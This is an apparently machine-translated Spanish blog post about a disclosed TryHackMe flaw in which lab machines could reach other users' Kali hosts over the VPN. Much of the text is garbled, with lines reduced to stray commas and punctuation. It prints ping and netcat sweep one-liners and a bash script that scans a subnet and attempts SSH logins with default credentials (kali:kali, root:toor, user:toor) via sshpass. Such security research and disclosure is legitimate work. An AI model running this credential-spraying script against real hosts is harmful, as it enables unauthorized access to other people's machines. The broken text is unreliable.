"Hack Me on TryHackMe", o investigación de seguridad de la información insegura en una plataforma conocida

Hola, Khabrchane. Hoy hablaremos de un problema descubierto por mi buen amigo Ivan Glinkin .





Esta es una jamba muy seria con la seguridad de la plataforma de entrenamiento TryHackMe pentest. Consiste en que los stands virtuales ven absolutamente todo en la red, y pueden usarse para atacar a los usuarios del servicio.





3 :





  1. , . TryHackMe ;





  2. , ( );





  3. .





DSCLAIMER

, . , TryHackMe, , , . .





. IT- , . , .





, , «*, *, ».





VPN , , . ? !





, ? -, , ?





! , , .





«Basic Pentesting».





Como atacante, tenemos ...
...

kay , , TryHackMe , . . 10.9.5.0





for ip in {1..254}; do ping -w 1 10.9.5.$ip | grep -i "ttl"; done
      
      



Buscamos vecinos vivos

. , ? , , 10.9.4.0 …





Buscando por mas

...



, ! , SSH , Apache.



IP nc 80 , nc .





for ip in $(cat ips.txt); do nc -nvw 1 $ip 80; done
      
      



Buscamos un puerto 80 abierto
80

. CURL’ 10.9.4.252 www , :





Estoy seguro de que para muchas personas el directorio del servidor web en Kali se parece a esto
, - Kali

, SSH. . sshpass, curl, wget . , , - .





! .





Sin derechos.  ¿Y si lo encuentro?
. ?

root- ! root , , , kay sudo. ?





Bueno, incluso sin comentarios ...
, …

sshpass bash :





#!/bin/bash
for ip in {2..255}
do ip_check=$(ping -w 1 10.9.5.$ip | grep -i "icmp_seq" | cut -d " " -f 4 | cut -d ":" -f 1)
if [ ! -z $ip_check ]
then
echo -e "\e[01;32mHost $ip_check is up. Cheking SSH\e[00m";
nc -vz -w 2 $ip_check 22 > log.txt 2>&1;
ssh_refused=$(grep -o "refused" log.txt)
ssh_timeout=$(grep -o "timed" log.txt)
if [ ! -z $ssh_refused ]
then
echo -e "\e[01;31mSSH is closed. Going further. \e[00m";
echo " ";
elif [ ! -z $ssh_timeout ]
then
echo -e "\e[01;31mSSH doesn't respond. Going further. \e[00m";
echo " ";
else
echo -e "\e[01;32mSSH is open. Trying to connect... \e[00m";
sshpass -p "kali" ssh -o StrictHostKeyChecking=no kali@$ip_check;
sshpass -p "toor" ssh -o StrictHostKeyChecking=no user@$ip_check;
sshpass -p "toor" ssh -o StrictHostKeyChecking=no root@$ip_check;
echo " ";
fi
fi
done
rm log.txt;
echo -e "\e[01;32mEnumeration has been finished! \e[00m";
      
      



3 / Kali Parrot OS:





  • kali:kali





  • root:toor





  • user:toor





¡IR!
!

«» . ovpn TryHackMe. VIP, …





Hola hola archivo ovpn
ovpn

sudo …





Bueno, como seria ...
...

?





, : TryHackMe **** Kali Parrot OS . «» TryHackMe? .





, , , SSH, . , :





  1. ;





  2. ;





  3. - - IP;





  4. ( , , ?);





  5. , …





, , . , , , TryHackMe , , - .





«» TryHackMe .





TryHackMe 2 2021. 25 2021. , , TryHackMe , 9 .





TryHackMe , , . - ?





:





. , TryHackMe. , …





, , .





: 9 .





? , , TryHackMe, Kali .








All Articles